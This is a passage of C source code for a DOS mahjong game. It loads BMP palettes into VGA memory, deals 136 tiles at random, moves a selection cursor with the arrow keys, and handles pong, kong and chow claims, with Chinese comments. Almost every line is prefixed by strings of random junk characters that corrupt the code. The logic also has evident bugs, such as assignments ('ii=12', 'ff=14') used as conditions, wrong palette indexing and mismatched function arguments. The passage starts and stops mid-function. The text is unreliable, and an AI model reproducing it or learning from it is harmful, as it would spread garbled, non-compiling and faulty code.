# }; z( r6 W. W+ l' _7 v: @}
0 D: O3 [, d) _5 s0 k; ?) U5 v! Wisthree(test,ii-2);
- \/ A! {4 {( |8 O0 E( y2 q}
}
+ Z6 Q4 S. f; [* D& I! ^, ~else if(ii==9)
9 y  a0 O' K' l, s# h+ k0 Iisthree(pi,ii);
else if(ii==11)
$ n# A+ j6 }3 K) dfor(i=0;i&lt;10;i++)
{
! i6 [- n1 P5 j% m9 {! ^6 p2 Yfor(j=0;j&lt;2;j++)
$ C/ u' c( h" @4 j/ F{test[j]=pi[i+j];
}
' O: M/ y: t4 p& I% B4 tif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
9 @" \) q  f: D4 v7 }{
' r& J" ~2 x9 I* D5 L9 E2 \kl=kl+2;
if(kl==11)
break;
1 n0 L2 A% t9 F2 _8 U4 z8 g6 D}
% }! N/ H7 f1 D. w! utest[ill++]=pi[kl];
}
isthree(test,ii-2);
) g( p/ ?  q4 t& g$ p4 W$ @/ D5 F4 [: y" f2 \}
  ~6 _  }  e. `, p: `1 g}
. Z7 @; z" l7 u$ t5 @5 belse if(ii=12)
* G+ q- M. z6 K- n: S" Z: A8 V* Disthree(pi,ii);
( i7 @8 n  `) k1 `6 celse if(ii=14)
: l( S2 p" k3 Y7 M5 Q0 _( Y! B3 hfor(i=0;i&lt;13;i++)
{
7 h1 M: y. t+ ?0 ?8 D  B+ _for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
( e1 i) `# n! Z! j' e+ o}
if(istwo(test))
6 d5 [- M. u' |0 u{ ill=0;
: m! x, N% v: l/ G0 `3 w" Xfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==14)
( n; J7 O2 i) }4 abreak;
}
# Y6 K7 j* L, f5 I/ a, [test[ill++]=pi[kl];
}
. B- t4 O# p" n; X4 z) Visthree(test,ii-2);
}
9 I8 V  t# z* Y2 u}
: U9 n6 @' `3 j3 Z' Z5 |9 gif(ff==2)
0 P9 j- H: U- Z! P6 Z6 a: g/ }istwo(pf);
else if(ff==3)
. `4 R" D& V2 h: z5 n9 y, S6 T! Eisthree(pf,ff);
0 w5 c2 M' c& y$ \; D# U9 u8 `3 S1 Welse if(ff==5)
/*pf[5]原始牌数组，假设已经升序排列*/
0 N; ]! C1 C, E& \& W. U+ W7 ]  @, l/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
}
if(istwo(test))
{ ill=0;
# f  {0 A8 ?7 Z: S' q% @for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
+ f5 J- n# Z% E) s/ a; V{if(kl==i)
{
8 a6 L2 J$ o9 K# Ykl=kl+2;
if(kl==5)
break;
}
test[ill++]=pf[kl];
}
isthree(test);
# ?& c5 g/ O$ g4 t+ ~2 _}
# a+ o) q, ?. N$ U2 d$ ~}
else if(ff==6)
isthree(pf,ff);
  ?9 w% Q- p8 I2 Jelse if(ff==8)
for(i=0;i&lt;7;i++)
8 f& K% I1 D9 s+ N, N2 U, X9 P5 r, L{
3 T& s% W! S6 Y8 Rfor(j=0;j&lt;2;j++)
0 C% `( g6 c3 U) W# Z, x  j{test[j]=pf[i+j];
2 p; I) P# f8 j5 w  R+ J- n6 G}
" B$ w' a: s  R4 Y/ w9 i& a, jif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
% [- o$ I! k9 e6 Z{
kl=kl+2;
if(kl==8)
1 `. ?6 Q5 ^' k8 m' L% Q; ]break;
}
test[ill++]=pf[kl];
/ g) J; [0 _, B$ ^" }5 e}
isthree(test,ff-2);
}
0 C" o2 Y! R) W$ `}
+ P' j, A# ?0 T* v# Xelse if(ff==9)
isthree(pw,ww);
else if(ff==11)
for(i=0;i&lt;10;i++)
- r1 w% @, H/ i5 e{
for(j=0;j&lt;2;j++)
5 |+ t3 V- l- q$ F' ?{test[j]=pf[i+j];
}
% ?2 Q% z0 p; b- }' Vif(istwo(test))
{ ill=0;
: O" S" z$ \# o4 Y% H7 ]$ Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
& h5 q1 I$ E% e8 l3 ^8 Tkl=kl+2;
if(kl==11)
# ~- A8 O1 b% F2 w  B  _break;
}
test[ill++]=pf[kl];
}
3 m  i. F7 o5 zisthree(test,ff-2);
}
8 O" q8 {$ W$ o% b4 H% I- y}
else if(ff=12)
isthree(pf,ff);
; f# J- H, y/ v' @& Nelse if(ff=14)
0 ?* N  e# b, Y6 Y( Cfor(i=0;i&lt;13;i++)
{
4 {; w8 d) ^1 E5 N# ^for(j=0;j&lt;2;j++)
2 \$ j. `2 ~, @( j6 V9 R{test[j]=pf[i+j];
}
if(istwo(test))
) c- h% O% K/ k+ m4 E" {! c- g{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 @: g) i  ]5 T5 J5 z, K{if(kl==i)
{
kl=kl+2;
3 _. x3 T# N& I6 c3 l5 i0 }if(kl==14)
break;
( C- G+ v0 f# T$ z' u4 H( \}
test[ill++]=pf[kl];
}
6 \0 O$ {0 t+ R% U$ p  Eisthree(test,ff-2);
8 o+ N: ?- i+ t5 k3 G}
}
}
void main(void)
{
FILE *bmp;
: s. r' i$ j0 P  V# A- Jstatic char *name[2]={"ff.bmp","logo.bmp"};
  ~+ {9 E5 u( H) j4 d4 Wchar *p;
int *lingshi;
, `) V8 d0 S+ A, N# i9 E+ ?0 a- mint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
- E, A! I9 [- `int every=0,w=0,x1,x2,y1,y2,every1=0;
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
BYTE palette[256][3];
SETVGA;
getch();
% W$ d% I' j/ n8 Fwhile(t--)
{
bmp=fopen(name[t],"rb");
" G. n7 g2 `# L) E3 h  Ifseek(bmp,54,SEEK_SET);
3 u7 }7 I; B# V/ Jfor(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
* R( M, K8 k% L  g" R6 O' H; ypalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
" D: X! n2 I5 X$ t9 MSet_Palette(i,palette[0],palette[1],palette[2]);
7 o  ~9 I  n7 i}
for (y=0;y&lt;200;y++)
for(x=0;x&lt;320;x++)
pokeb(0xa000,y*320+x,fgetc(bmp));
$ d: M+ A8 o: e9 M$ r% xfclose(bmp);
getch();
}
getch();
fillRectangle(0,0,320,200,0);
: B; [) Z, H4 f* ugetch();
randomize();
me.m=onetothirteen;
1 I* e3 |, X' U. I- F+ F. jwhile(me.m&gt;0) /*先循环，给自己拿牌*/
, M1 F5 e& L2 d8 y" f; h# f, I- [{
) i9 I. S. }9 I% _+ }. V
temp=random(136);
  L& s/ G/ U2 m5 Iif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
$ c/ a) ]( H: ^4 H- fme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
me.pp[n].number=temp; /*第几张，用来排序*/
  N% N+ P. R2 G3 j6 om[temp].data2=1; /*判断牌是谁的*/
kk=1;
  Q/ Z8 v2 I4 V& K: z}
if(kk==0) /*判断如果又选择了，就从新再选*/
{
me.m++;
& m8 p5 ^! K  I) }; _n--;
}
me.m--;
1 @* n' @' x! I, e0 \; Gn++;
kk=0;
}
6 D2 N* d& R" |9 ]! Y3 ], A9 _. s# `me.m=12;
melipai(); /*理牌*/

n=13;
. A/ B9 x+ Q- t  P! vwhile(l&lt;n)
{
3 v# d; a+ s% Z& |; Y8 i1 I3 kz=z+20;
showbmp(l);
6 O" r# C& Z  p+ o; H' m8 Tl++;

}
randomize();
computer.m=oneorthirteen;
n=0;
/ d- H5 r) S, {6 g  jwhile(computer.m&gt;0) /*循环，给对方拿牌*/
! P8 J; N1 g* @" U3 l) I4 Y{
temp=random(136);
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
& v5 n% ~6 B; W/ o- M' \# ~{
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
computer.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
kk=1;
" w! m% F, `9 Z! N2 Z) s7 G}
$ @: v, c1 T9 Gif(kk==0) /*判断如果又选择了，就从新再选*/
) v' c" T% ?2 T% q2 F. U: i0 Q, r{
4 K& l3 F) b% |9 m: Rcomputer.m++;
$ c' p3 [* p* H+ u9 S% l4 in--;
}
computer.m--;
n++;
kk=0;
}
computer.m=12;
comlipai(); /*电脑理牌*/
. m& L/ o7 S" e" h' C' fn=13;
while(ll&lt;n)
{
. `/ |% v2 Q# q) x3 czy=zy+20;
showybmp(ll);
ll++;
}
7 ^* _* ^' m0 {/ _0 K& I
; O$ y' |3 @7 \! D- C6 Xz=54400;
while(key!=ESC)
2 N$ w# @$ ]0 l2 y2 y+ m{
2 T  Q  Y& f+ G& S3 {* J
. p4 t- ?, h* [keyy=bioskey(0);
! t5 b" c- V2 B/ n" z/ Sif(keyy==LEFT)
{ w=1;
if(every==0)
{
' W: z  @7 S6 c+ h& Uevery=1;
z=54440-5*320;
4 _3 w, G- h# \0 D/ L+ C2 v5 n
# ~" ~. i2 F0 {( H7 c9 o8 s) {}
zz=zz+5*320;
( j$ K! O" u; w& `3 G2 W; Sshowbmp(every);
if(every==0)
6 ]; |: d# Y; {8 _0 A) y{
x1=20;
9 H2 \% T+ J' b# Q# b3 \( x. uy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
0 T  t" d$ T6 g/ m}
  Q2 _# W+ {- L, B0 m& M+ W; Nif(every==1)
{
x1=40;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
- |6 k9 \) C) B6 m2 D9 A3 Q}
if(every==2)
{
( v9 d& Z* r& R- h( J9 d  Yx1=60;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
3 T$ `( G( n6 X9 R: y}
if(every==3)
{
x1=80;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
+ H5 Z0 ]0 V* c) Q* A3 J$ q. S}
9 Q, d, H$ i4 N5 Bif(every==4)
{
' t* N% A7 x8 G2 Jx1=100;
+ `" f$ L* w: Vy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
7 L. i# T* Z* q7 x# G# \if(every==5)
3 V* W, J) m0 @3 b# l6 T( P9 a{
x1=120;
. L$ G1 K. m2 b1 I+ Jy1=165;
( V4 @- t8 R9 N" z8 n' V8 R& `fillRectangle(x1,y1,x1+20,y1+4,0);
}
6 K, J6 s+ ^9 \( B; T/ [if(every==6)
{
x1=140;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==7)
{
$ V( c) ?0 \, [x1=160;
0 F( t4 G  D1 N$ ~y1=165;
4 q' k0 m- I) l& @) a. C, a) IfillRectangle(x1,y1,x1+20,y1+4,0);
}
; A9 U/ T( v0 _, c; s" uif(every==8)
{
7 `& N2 m: W, w5 D; x! e" ]' U9 e4 zx1=180;
- H7 ]8 ]% I3 S  e' Yy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
$ x8 e! X! h- l0 A" p* q}
if(every==9)
{
/ I- n5 Z: d% I/ z9 e' wx1=200;
y1=165;
0 E$ _8 B- X# {0 KfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==10)
{
" G1 Z( M1 p! |x1=220;
6 A6 W) \: f. u: t+ p1 j4 ^5 w9 ~, P+ Fy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
  u( K1 z% T0 Zif(every==11)
4 _# m# n) c2 S! y0 v" M4 r{
6 h' g9 O9 p/ Y" ax1=240;
y1=165;
! W0 ]5 |+ O: }+ MfillRectangle(x1,y1,x1+20,y1+4,0);
, Q* K9 [" O- @  g* G}
' s3 S7 T% N1 b- m% K9 X: I: iif(every==12)
2 O. c5 ~4 s# h. p4 f{
& K) k( W& a! I) b5 N) lx1=260;
) i) }# {0 ^% s: qy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
2 {4 B5 l0 N2 Q. w) C! t}
zz=0;
every--;
6 W" x. i* X2 ~  G9 b+ Az=z-20;
}
8 ~6 g+ b8 y  c3 |( i7 ^1 p9 Kif(keyy==RIGHT)
+ n/ E7 L: d8 U{ if(w==0)
9 G; \- Z+ F6 l: J{
z=54440-5*320;
/ X5 {, G$ K" W9 az=z-20;
w=1;
  r/ a6 k6 M5 x+ o( R9 z3 L}
, ?; E5 o" K& ?2 v" I  |8 wif(every==12)
{
every=11;
z=54640-5*320;
}
zz=zz+5*320;
" B+ P) [& v2 @* P" {2 ushowbmp(every);
if(every==0)
{
$ v: `: I2 x/ _x1=20;
y1=165;
( U- p) I. @$ [* z; a; f4 BfillRectangle(x1,y1,x1+20,y1+4,0);
) u6 R, q/ `3 x/ D+ O8 ~( N}
if(every==1)
& C6 h, A$ g- H2 Z" F{
x1=40;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
% }0 x2 D' M& B4 r# {/ l}
& g4 {- q, w4 `; @3 L6 [if(every==2)
4 o, Z- D$ w9 D: i8 _5 `4 I5 n{
9 I5 L1 |6 ]0 qx1=60;
6 }) Q  p4 c! x  J, }7 C9 Ey1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
( t& C, l  J8 \6 s' W# M+ i}
. _7 |, w2 R. A8 |2 w7 yif(every==3)
{
x1=80;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==4)
# \  }( N+ t# s- E' K- v  X2 D8 C{
- A: G7 v! J6 J0 ^x1=100;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
/ ^/ v# d- A2 Y+ h. G0 kif(every==5)
8 m* b% c6 {# b7 ?& r+ {/ {' ?{
# n( }4 C/ l2 o- o3 Y0 Zx1=120;
y1=165;
. ]. c+ |) Y- C3 Y1 }+ L+ EfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==6)
2 t* ?: P9 g3 G8 y{
( K2 F6 @3 ?- q9 g1 ]( gx1=140;
# s" x. }+ c: w0 b8 k9 V3 D* ry1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
+ L$ u6 S7 P$ K}
if(every==7)
9 o( i) \5 }) M  U7 L* C# Q+ I1 o* S{
: H: I+ |' g- E& W8 @* [7 F7 _x1=160;
( Y7 K+ L0 x: g/ Z" q5 s6 p! i9 \y1=165;
8 d$ N9 e. V2 l  x4 j8 ZfillRectangle(x1,y1,x1+20,y1+4,0);
+ g# B* @* Q; _. G6 w}
" N; I- v3 A& Kif(every==8)
{
1 U. d0 s/ w6 t6 Xx1=180;
y1=165;
( F( [! L8 I& T& O) P  V" P3 B( }fillRectangle(x1,y1,x1+20,y1+4,0);
8 g6 Q4 N7 V  G% r}
! l  L6 Z/ T3 V4 p9 G4 vif(every==9)
{
x1=200;
' }9 F  j- @( P6 Hy1=165;
- {" q2 R5 K* F+ p& y5 t3 p- @fillRectangle(x1,y1,x1+20,y1+4,0);
}
& r' b1 ?7 Y8 z# \2 I( d/ n% Rif(every==10)
{
" K. C8 [& z3 ?; t! }% E' c% U5 _x1=220;
  j. c. f2 g& C9 ~1 ?: P+ Fy1=165;
2 |! ?% S* P  C3 K* H" ~- kfillRectangle(x1,y1,x1+20,y1+4,0);
  I$ |$ V* M; v2 R6 J  G}
if(every==11)
{
x1=240;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==12)
{
/ ~1 s4 X# |5 ?5 F3 q+ f7 m6 H1 b  j" Hx1=260;
1 ^  t6 s6 ^. g" L8 h1 \y1=165;
6 s8 J6 N$ f  }0 c" k3 v& q$ zfillRectangle(x1,y1,x1+20,y1+4,0);
}
- B# k& D5 r9 G( P, i
zz=0;
0 i6 e* D# C! B+ }6 N2 b( bevery++;
' n; R; B4 K( ]2 @: _z=z+20;
' H  A- q: b% x6 {0 W}
% p/ t7 ~! V- N7 ~9 F$ V- I9 Eshowbmp(every);
) u0 b& `2 A; @% s/ e- |key=keyy;
4 K' r* |( m' J9 D' `( ~( t) }if(keyy==ENTER)
{
+ Y0 M1 r. v! c4 M' T! G# hrgzn(every); /*********************/
: a" l2 h, c3 D0 ?0 S. _! b( gif(sing==1) /*如果可以乓，做相应的处理*/
{
kkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
. j# G5 i! T0 l% L6 P6 _7 O4 R{
, d* |. V5 ^/ a$ p3 T  Zif(computer.pp[kkk].p!=1)
% p& F6 G# x; u9 a" O& S7 t0 B{
" I/ W, a, m2 d9 L6 gcomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
5 |! e# i) t% v5 p! n9 \}
else
{
m[computer.pp[kkk].number].data1=1;
/ L5 ?& h1 e# _! @) `7 ddwei=computer.pp[kkk].number;
computer.pp[kkk].p=0;
}
kkk++;
1 Z, g1 k# U- G& M* d}
ll=0;

2 S) N( I4 n$ C* w: O0 q5 qwhile(ll&lt;3)
  Y  L1 A: J3 y{ zl=zl+20;
bmpp(dwei); /*显示乓的牌*/
ll++;
}

zl=zl+9600-60;
kkk=0;
computer.m=computer.m-2;
while(kkk&lt;=computer.m)
{
+ P' i4 q! L  Y# o. Q' B3 q( Ucomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
4 V+ \0 I4 k, I5 t8 H$ O# \7 Qkkk++;
}
& l; H8 G! \& s3 i0 Dll=0;
5 M, E  n) L/ W- G- Itemp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
% b+ G1 S' \' d: D) c4 _( W: Mzyy=zyy-9280;
/*****/
rgznme(temp);
/ X/ a* ?, L! gpanduan();
' g% j. F( s; B* ^2 Pif(me.m==0)
4 a0 g1 J( z4 Q7 Bif(second==1 &amp;&amp; threes==0)
printf("you win!");
if(me.m==3)
if(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
6 o6 ~9 }3 k8 v# Iif(second==1 &amp;&amp; threes==2)
printf("you win!");
! p0 |' _3 n) b8 Jif(me.m==9)
if(second==1 &amp;&amp; threes==3)
printf("you win!");
if(me.m==12)
9 f4 e9 Y1 X1 l. R8 C4 kif(second==1 &amp;&amp; threes==4)
' Y! h0 M& t, a+ t# H( B7 Oprintf("you win!");

- H( U! @. T% K7 |0 t5 z, Okkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
& D" a9 `/ G" F- R* G. w1 l: N. S{
if(kkk!=temp)
1 o: D; I2 v$ H3 S4 u; Y: |{
comp.pp[kkkk].k=computer.pp[kkk].k;
1 t+ a1 c4 f! v$ \1 |0 d: Vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
& g; [& b- h9 y/ J" Xkkkk++;
& w) u! R  J2 H" R1 e( @}
else
m[computer.pp[kkk].number].data1=1;
kkk++;
}
( }5 A# `0 V( G/ U: L7 ckkk=0;
( e, z& F6 l  N1 `computer.m=computer.m-1;
while(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
* V' W& b6 d/ Okkk++;
}
fillRectangle(0,0,320,30,0);
- l  ~$ ^, }8 a' h) B1 n( F/ X% Kn=computer.m;
" H( q3 K) G3 A! b9 K4 k* e3 T; _ll=0;
2 g! \5 X/ G5 ~8 v; b8 Zzy=0;
while(ll&lt;=n)
{
zy=zy+20;
showybmp(ll);
% @  a9 v# N. i0 k2 n: G1 w4 ell++;
: }+ Z! b( F; A$ \9 B( |3 F0 V. Z}
7 M# U% X5 F, y/ Y# x, Nll=0;
getch();
sing=0;
sing1=1;
! E5 d1 c: m7 R9 b}
( v' F. d8 {8 b. L
if(sing==2) /*如果可以杠的做相应处理*/
{
kkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
{
if(computer.pp[kkk].g!=1)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
1 o: A2 e. u3 a8 b  Ccomp.pp[kkkk].number=computer.pp[kkk].number;
6 H% \3 x! }7 z3 P. fkkkk++;
1 ?3 N; e" d( o' f  t7 f7 t7 S' U}
7 |0 y/ a' p% b4 \+ Q% z; J  I  R+ Uelse
{
m[computer.pp[kkk].number].data1=1;
dweig=computer.pp[kkk].number;
computer.pp[kkk].g=0;
}
) v* K7 M- B# \  `' {0 pkkk++;
}
# [9 X5 `4 e# C# \( Zll=0;

+ b* _- }4 y2 T5 Z' ]while(ll&lt;=3)
{ zl=zl+20;
bmpp(dweig); /*显示杠的牌*/
/ Q8 K) s# q- X  |: dll++;
}
  L2 r# T6 s, b) I6 ^4 b& a3 I4 Rzl=zl+9600-60;
kkk=0;
5 N6 a$ |1 r: z. ?computer.m=computer.m-3;
& g! d: M: w) T1 J8 H- ~while(kkk&lt;=computer.m)
$ W% S1 d+ M7 B8 Z+ I, q* b7 D! ?{
( s; }7 ]3 N& U8 c0 D6 T2 k; b4 O5 `computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
0 ]) x1 ]  w) A3 f9 P' pkkk++;
3 h, a( @. K  B9 h' Q. W}
kk=0;
$ c- A- s( R, W8 dcomputer.m++; /*加一个牌的容量*/
while(kk!=1)
{
temp=random(136); /*出牌*/
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
* p& `. p9 |6 Zcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
computer.pp[computer.m].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
' Q. U  u; v2 V4 B9 ckk=1;
/ Q% T; b7 W% a5 w- e}
9 D# R# Z' Z0 y& n( S}
' a1 ~8 \4 ?1 @comlipai();
temp=random(computer.m); /*出牌，等待完善*/
) g' t" z3 g2 c- A" w$ Ozyy=zyy+9280+20;
; }$ s+ X- O* ]9 eshowcbmp(temp);
zyy=zyy-9280;
/*****/
rgznme(temp);
panduan();
9 M8 G" B% e% \3 y, |if(me.m==0)
0 _/ m) P7 x. M: [if(second==1 &amp;&amp; threes==0)
4 {- K( \1 K8 c7 [9 r$ Kprintf("you win!");
if(me.m==3)
: g, d8 B% C: L# G. B7 u% r% n: vif(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
* u& Q- g3 _6 b" W( J; eif(second==1 &amp;&amp; threes==2)
printf("you win!");
, f, K) H6 s! B) T( fif(me.m==9)
if(second==1 &amp;&amp; threes==3)
printf("you win!");
if(me.m==12)
0 V3 a6 u6 X# `0 Dif(second==1 &amp;&amp; threes==4)
printf("you win!");

$ @' R2 _: n+ Y2 z7 r& |+ Ikkk=0;
kkkk=0;
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
{
if(kkk!=temp)
{
' H6 J4 g  z+ B( t# p. ccomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
. ], v. e2 A) ^0 {9 r3 Scomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
- |! O5 [2 V3 R5 ?$ ]7 Z4 kelse
2 T! E2 C. |) d- G& R+ nm[computer.pp[kkk].number].data1=1;
) o9 q9 B1 t. ^* s" ~) Rkkk++;
}
kkk=0;
' B, [1 a3 P: [* ^  B1 S( lcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
" P# _/ x. E6 _( Z- u, R0 |while(kkk&lt;=computer.m)
0 Z4 i) A% o9 w2 n* ]) y, R{
4 C/ e3 X2 D3 A* O+ t: g+ Qcomputer.pp[kkk].k=comp.pp[kkk].k;
! Z3 N$ d2 P, Hcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
4 p/ x' X% Q1 w+ Acomputer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
' j, U  f$ e. s6 t% E4 D7 o: J3 B8 @* P% jfillRectangle(0,0,320,30,0);
; Z- ?4 i8 z0 U; e; E; `! O9 `ll=0;
zy=0;
7 x2 u2 x$ V% S1 r; \. nwhile(ll&lt;=computer.m)
- q- l- Z' A" e- A) B{
* @# w+ r+ o0 o: y" E. P% |; n. Yzy=zy+20;
6 H0 |) ?* ?# ashowybmp(ll);
  |% y% ?% i+ S! }0 Jll++;
# \- \  Z8 x8 Q" D}
sing=0;
sing1=1;
}
! [+ T- |* p, t- S9 B# D" wif(sing==7) /*如果可以吃的，做相应处理*/
{ nn=0;
kkk=0;
  Q/ j7 M! T; V( K7 _7 t5 ]' U" vkkkk=0;
' g1 ]2 G8 ?  Pwhile(kkk&lt;=computer.m)
{
if(computer.pp[kkk].c!=1)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
4 H2 s7 k" S, B! c: J* V2 lcomp.pp[kkkk].number=computer.pp[kkk].number;
' @( `. H8 ~3 V" D& Okkkk++;
  G6 Z/ g7 L5 g/ F' M1 [0 q4 Z: K}
9 r5 @3 V9 g, r+ O$ Yelse
{
m[computer.pp[kkk].number].data1=1;
: K5 A1 J8 v: o) @  mdw[nn++]=computer.pp[kkk].number;
. W3 ~4 W( w% Ycomputer.pp[kkk].c=0;
}
kkk++;
8 G9 ?) o( e( C- o: ]}

if(me.pp[every].number&lt;dw[0])
5 G' b2 B9 ]8 _! S4 I/ l{
% k' ?) G( R  a# |  mdw[2]=dw[1];
) v  `' s- c1 L" O: ndw[1]=dw[0];
dw[0]=me.pp[every].number;
+ @* m% q1 v! w( @% X}
6 v2 y: Z. v1 e* \$ Tif(me.pp[every].number&gt;dw[1])
( i1 Z0 C9 ]4 z$ W0 k6 U{
dw[2]=me.pp[every].number;
+ }' S" Q0 F8 c& J! m6 b9 m}
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
{
) K* x8 l3 G# i' {( f, w! P! Fdw[2]=dw[1];
. E0 {8 g' J# X/ [9 e% B8 m" s" M/ Gdw[1]=me.pp[every].number;
}
4 Q' Z7 ^# ]9 b$ dnn=0;
while(nn&lt;3)
{ zl=zl+20;
bmpp(dw[nn]); /*显示吃的牌*/
nn++;
}
zl=zl+9600-60;
kkk=0;
computer.m=computer.m-2;
6 f  ~; I, p9 ^while(kkk&lt;=computer.m)
$ ^" S0 O5 n# e{
computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
$ R5 d1 V- e/ f& W9 }( b: @7 P}
# R% t+ |. ~: ~1 C/ Tll=0;
temp=random(computer.m); /*出牌等待完善*/
. n* t" V, `3 M$ Wzyy=zyy+9280+20;
  u5 Q5 M! ^3 }3 T8 E8 F/ Ishowcbmp(temp);
/ \4 h0 N9 |- r4 n1 i) y: ^zyy=zyy-9280;
/*****/
rgznme(temp);
panduan();
if(me.m==0)
4 {  O" L, \3 H8 @  qif(second==1 &amp;&amp; threes==0)
printf("you win!");
if(me.m==3)
1 M  Z' B, B! l5 J9 vif(second==1 &amp;&amp; threes==1)
( m+ H0 O9 h6 J( f, l" o4 {3 Nprintf("you win!");
if(me.m==6)
% {7 z! ~! `  l0 sif(second==1 &amp;&amp; threes==2)
printf("you win!");
if(me.m==9)
if(second==1 &amp;&amp; threes==3)
printf("you win!");
; m) z' v, h2 y8 n: Hif(me.m==12)
+ e# Y& ^* r) `( Gif(second==1 &amp;&amp; threes==4)
; W2 k2 |5 V# h% Eprintf("you win!");

kkk=0;
. \1 B* q) M' j4 F+ y4 h6 S% skkkk=0;
while(kkk&lt;=computer.m)
{
9 M! M0 Q7 y5 fif(kkk!=temp)
5 N" t6 Q1 X' R{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
6 \( r, @. M. Z0 N0 {kkkk++;
- Y# h1 k8 D7 p' n! `& F% _& z}
else
m[computer.pp[kkk].number].data1=1;
8 e  V9 t/ l' S, h' Z- w8 a8 mkkk++;
" K8 I( O, F# j* \2 M& B" f: [}
' _- ~! I% |0 t6 hkkk=0;
computer.m=computer.m-1;
while(kkk&lt;=computer.m)
{
$ N* T9 {2 N# _3 F6 J1 e2 Qcomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
2 e! ]/ [/ |- Acomputer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
7 W8 l' _. y7 A; ^0 I# ~+ T}
- c& d: @) M. z$ m- GfillRectangle(0,0,320,30,0);
n=computer.m;
ll=0;
zy=0;
while(ll&lt;=n)
{
zy=zy+20;
showybmp(ll);
